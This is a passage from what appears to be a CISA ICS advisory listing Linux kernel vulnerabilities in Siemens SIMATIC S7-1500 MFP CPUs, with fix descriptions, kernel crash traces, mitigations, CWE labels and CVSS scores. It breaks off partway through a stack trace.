<p>In the Linux kernel, the following vulnerability has been resolved: block: avoid possible overflow for chunk_sectors check in blk_stack_limits() In blk_stack_limits(), we check that the t-&gt;chunk_sectors value is a multiple of the t-&gt;physical_block_size value. However, by finding the chunk_sectors value in bytes, we may overflow the unsigned int which holds chunk_sectors, so change the check to be based on sectors.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-39795">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/674.html">CWE-674 Uncontrolled Recursion</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-39826</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: net: rose: convert 'use' field to refcount_t The 'use' field in struct rose_neigh is used as a reference counter but lacks atomicity. This can lead to race conditions where a rose_neigh structure is freed while still being referenced by other code paths. For example, when rose_neigh-&gt;use becomes zero during an ioctl operation via rose_rt_ioctl(), the structure may be removed while its timer is still active, potentially causing use-after-free issues. This patch changes the type of 'use' from unsigned short to refcount_t and updates all code paths to use rose_neigh_hold() and rose_neigh_put() which operate reference counts atomically.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-39826">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-39827</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: net: rose: include node references in rose_neigh refcount Current implementation maintains two separate reference counting mechanisms: the 'count' field in struct rose_neigh tracks references from rose_node structures, while the 'use' field (now refcount_t) tracks references from rose_sock. This patch merges these two reference counting systems using 'use' field for proper reference management. Specifically, this patch adds incrementing and decrementing of rose_neigh-&gt;use when rose_neigh-&gt;count is incremented or decremented. This patch also modifies rose_rt_free(), rose_rt_device_down() and rose_clear_route() to properly release references to rose_neigh objects before freeing a rose_node through rose_remove_node(). These changes ensure rose_neigh structures are properly freed only when all references, including those from rose_node structures, are released. As a result, this resolves a slab-use-after-free issue reported by Syzbot.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-39827">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-39845</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: x86/mm/64: define ARCH_PAGE_TABLE_SYNC_MASK and arch_sync_kernel_mappings() Define ARCH_PAGE_TABLE_SYNC_MASK and arch_sync_kernel_mappings() to ensure page tables are properly synchronized when calling p*d_populate_kernel(). For 5-level paging, synchronization is performed via pgd_populate_kernel(). In 4-level paging, pgd_populate() is a no-op, so synchronization is instead performed at the P4D level via p4d_populate_kernel(). This fixes intermittent boot failures on systems using 4-level paging and a large amount of persistent memory: BUG: unable to handle page fault for address: ffffe70000000034 #PF: supervisor write access in kernel mode #PF: error_code(0x0002) - not-present page PGD 0 P4D 0 Oops: 0002 [#1] SMP NOPTI RIP: 0010:__init_single_page+0x9/0x6d Call Trace: __init_zone_device_page+0x17/0x5d memmap_init_zone_device+0x154/0x1bb pagemap_range+0x2e0/0x40f memremap_pages+0x10b/0x2f0 devm_memremap_pages+0x1e/0x60 dev_dax_probe+0xce/0x2ec [device_dax] dax_bus_probe+0x6d/0xc9 [... snip ...] It also fixes a crash in vmemmap_set_pmd() caused by accessing vmemmap before sync_global_pgds() [1]: BUG: unable to handle page fault for address: ffffeb3ff1200000 #PF: supervisor write access in kernel mode #PF: error_code(0x0002) - not-present page PGD 0 P4D 0 Oops: Oops: 0002 [#1] PREEMPT SMP NOPTI Tainted: [W]=WARN RIP: 0010:vmemmap_set_pmd+0xff/0x230 vmemmap_populate_hugepages+0x176/0x180 vmemmap_populate+0x34/0x80 __populate_section_memmap+0x41/0x90 sparse_add_section+0x121/0x3e0 __add_pages+0xba/0x150 add_pages+0x1d/0x70 memremap_pages+0x3dc/0x810 devm_memremap_pages+0x1c/0x60 xe_devm_add+0x8b/0x100 [xe] xe_tile_init_noalloc+0x6a/0x70 [xe] xe_device_probe+0x48c/0x740 [xe] [... snip ...]</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-39845">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-39866</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: fs: writeback: fix use-after-free in __mark_inode_dirty() An use-after-free issue occurred when __mark_inode_dirty() get the bdi_writeback that was in the progress of switching. CPU: 1 PID: 562 Comm: systemd-random- Not tainted 6.6.56-gb4403bd46a8e #1 ...... pstate: 60400005 (nZCv daif +PAN -UAO -TCO -DIT -SSBS BTYPE=--) pc : __mark_inode_dirty+0x124/0x418 lr : __mark_inode_dirty+0x118/0x418 sp : ffffffc08c9dbbc0 ........ Call trace: __mark_inode_dirty+0x124/0x418 generic_update_time+0x4c/0x60 file_modified+0xcc/0xd0 ext4_buffered_write_iter+0x58/0x124 ext4_file_write_iter+0x54/0x704 vfs_write+0x1c0/0x308 ksys_write+0x74/0x10c __arm64_sys_write+0x1c/0x28 invoke_syscall+0x48/0x114 el0_svc_common.constprop.0+0xc0/0xe0 do_el0_svc+0x1c/0x28 el0_svc+0x40/0xe4 el0t_64_sync_handler+0x120/0x12c el0t_64_sync+0x194/0x198 Root cause is: systemd-random-seed kworker ---------------------------------------------------------------------- ___mark_inode_dirty inode_switch_wbs_work_fn spin_lock(&amp;inode-&gt;i_lock); inode_attach_wb locked_inode_to_wb_and_lock_list get inode-&gt;i_wb spin_unlock(&amp;inode-&gt;i_lock); spin_lock(&amp;wb-&gt;list_lock) spin_lock(&amp;inode-&gt;i_lock) inode_io_list_move_locked spin_unlock(&amp;wb-&gt;list_lock) spin_unlock(&amp;inode-&gt;i_lock) spin_lock(&amp;old_wb-&gt;list_lock) inode_do_switch_wbs spin_lock(&amp;inode-&gt;i_lock) inode-&gt;i_wb = new_wb spin_unlock(&amp;inode-&gt;i_lock) spin_unlock(&amp;old_wb-&gt;list_lock) wb_put_many(old_wb, nr_switched) cgwb_release old wb released wb_wakeup_delayed() accesses wb, then trigger the use-after-free issue Fix this race condition by holding inode spinlock until wb_wakeup_delayed() finished.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-39866">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/416.html">CWE-416 Use After Free</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.8</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-39871</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: dmaengine: idxd: Remove improper idxd_free The call to idxd_free() introduces a duplicate put_device() leading to a reference count underflow: refcount_t: underflow; use-after-free. WARNING: CPU: 15 PID: 4428 at lib/refcount.c:28 refcount_warn_saturate+0xbe/0x110 ... Call Trace: idxd_remove+0xe4/0x120 [idxd] pci_device_remove+0x3f/0xb0 device_release_driver_internal+0x197/0x200 driver_detach+0x48/0x90 bus_remove_driver+0x74/0xf0 pci_unregister_driver+0x2e/0xb0 idxd_exit_module+0x34/0x7a0 [idxd] __do_sys_delete_module.constprop.0+0x183/0x280 do_syscall_64+0x54/0xd70 entry_SYSCALL_64_after_hwframe+0x76/0x7e The idxd_unregister_devices() which is invoked at the very beginning of idxd_remove(), already takes care of the necessary put_device() through the following call path: idxd_unregister_devices() -&gt; device_unregister() -&gt; put_device() In addition, when CONFIG_DEBUG_KOBJECT_RELEASE is enabled, put_device() may trigger asynchronous cleanup via schedule_delayed_work(). If idxd_free() is called immediately after, it can result in a use-after-free. Remove the improper idxd_free() to avoid both the refcount underflow and potential memory corruption during module unload.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-39871">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-39931</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: crypto: af_alg - Set merge to zero early in af_alg_sendmsg If an error causes af_alg_sendmsg to abort, ctx-&gt;merge may contain a garbage value from the previous loop. This may then trigger a crash on the next entry into af_alg_sendmsg when it attempts to do a merge that can't be done. Fix this by setting ctx-&gt;merge to zero near the start of the loop.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-39931">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/457.html">CWE-457 Use of Uninitialized Variable</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-39953</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: cgroup: split cgroup_destroy_wq into 3 workqueues A hung task can occur during [1] LTP cgroup testing when repeatedly mounting/unmounting perf_event and net_prio controllers with systemd.unified_cgroup_hierarchy=1. The hang manifests in cgroup_lock_and_drain_offline() during root destruction. Related case: cgroup_fj_function_perf_event cgroup_fj_function.sh perf_event cgroup_fj_function_net_prio cgroup_fj_function.sh net_prio Call Trace: cgroup_lock_and_drain_offline+0x14c/0x1e8 cgroup_destroy_root+0x3c/0x2c0 css_free_rwork_fn+0x248/0x338 process_one_work+0x16c/0x3b8 worker_thread+0x22c/0x3b0 kthread+0xec/0x100 ret_from_fork+0x10/0x20 Root Cause: CPU0 CPU1 mount perf_event umount net_prio cgroup1_get_tree cgroup_kill_sb rebind_subsystems // root destruction enqueues // cgroup_destroy_wq // kill all perf_event css // one perf_event css A is dying // css A offline enqueues cgroup_destroy_wq // root destruction will be executed first css_free_rwork_fn cgroup_destroy_root cgroup_lock_and_drain_offline // some perf descendants are dying // cgroup_destroy_wq max_active = 1 // waiting for css A to die Problem scenario: 1. CPU0 mounts perf_event (rebind_subsystems) 2. CPU1 unmounts net_prio (cgroup_kill_sb), queuing root destruction work 3. A dying perf_event CSS gets queued for offline after root destruction 4. Root destruction waits for offline completion, but offline work is blocked behind root destruction in cgroup_destroy_wq (max_active=1) Solution: Split cgroup_destroy_wq into three dedicated workqueues: cgroup_offline_wq – Handles CSS offline operations cgroup_release_wq – Manages resource release cgroup_free_wq – Performs final memory deallocation This separation eliminates blocking in the CSS free path while waiting for offline operations to complete. [1] https://github.com/linux-test-project/ltp/blob/master/runtest/controllers</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-39953">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-39955</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: tcp: Clear tcp_sk(sk)-&gt;fastopen_rsk in tcp_disconnect(). syzbot reported the splat below where a socket had tcp_sk(sk)-&gt;fastopen_rsk in the TCP_ESTABLISHED state. [0] syzbot reused the server-side TCP Fast Open socket as a new client before the TFO socket completes 3WHS: 1. accept() 2. connect(AF_UNSPEC) 3. connect() to another destination As of accept(), sk-&gt;sk_state is TCP_SYN_RECV, and tcp_disconnect() changes it to TCP_CLOSE and makes connect() possible, which restarts timers. Since tcp_disconnect() forgot to clear tcp_sk(sk)-&gt;fastopen_rsk, the retransmit timer triggered the warning and the intended packet was not retransmitted. Let's call reqsk_fastopen_remove() in tcp_disconnect(). [0]: WARNING: CPU: 2 PID: 0 at net/ipv4/tcp_timer.c:542 tcp_retransmit_timer (net/ipv4/tcp_timer.c:542 (discriminator 7)) Modules linked in: CPU: 2 UID: 0 PID: 0 Comm: swapper/2 Not tainted 6.17.0-rc5-g201825fb4278 #62 PREEMPT(voluntary) Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014 RIP: 0010:tcp_retransmit_timer (net/ipv4/tcp_timer.c:542 (discriminator 7)) Code: 41 55 41 54 55 53 48 8b af b8 08 00 00 48 89 fb 48 85 ed 0f 84 55 01 00 00 0f b6 47 12 3c 03 74 0c 0f b6 47 12 3c 04 74 04 90 &lt;0f&gt; 0b 90 48 8b 85 c0 00 00 00 48 89 ef 48 8b 40 30 e8 6a 4f 06 3e RSP: 0018:ffffc900002f8d40 EFLAGS: 00010293 RAX: 0000000000000002 RBX: ffff888106911400 RCX: 0000000000000017 RDX: 0000000002517619 RSI: ffffffff83764080 RDI: ffff888106911400 RBP: ffff888106d5c000 R08: 0000000000000001 R09: ffffc900002f8de8 R10: 00000000000000c2 R11: ffffc900002f8ff8 R12: ffff888106911540 R13: ffff888106911480 R14: ffff888106911840 R15: ffffc900002f8de0 FS: 0000000000000000(0000) GS:ffff88907b768000(0000) knlGS:0000000000000000 CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 CR2: 00007f8044d69d90 CR3: 0000000002c30003 CR4: 0000000000370ef0 Call Trace: tcp_write_timer (net/ipv4/tcp_timer.c:738) call_timer_fn (kernel/time/timer.c:1747) __run_timers (kernel/time/timer.c:1799 kernel/time/timer.c:2372) timer_expire_remote (kernel/time/timer.c:2385 kernel/time/timer.c:2376 kernel/time/timer.c:2135) tmigr_handle_remote_up (kernel/time/timer_migration.c:944 kernel/time/timer_migration.c:1035) __walk_groups.isra.0 (kernel/time/timer_migration.c:533 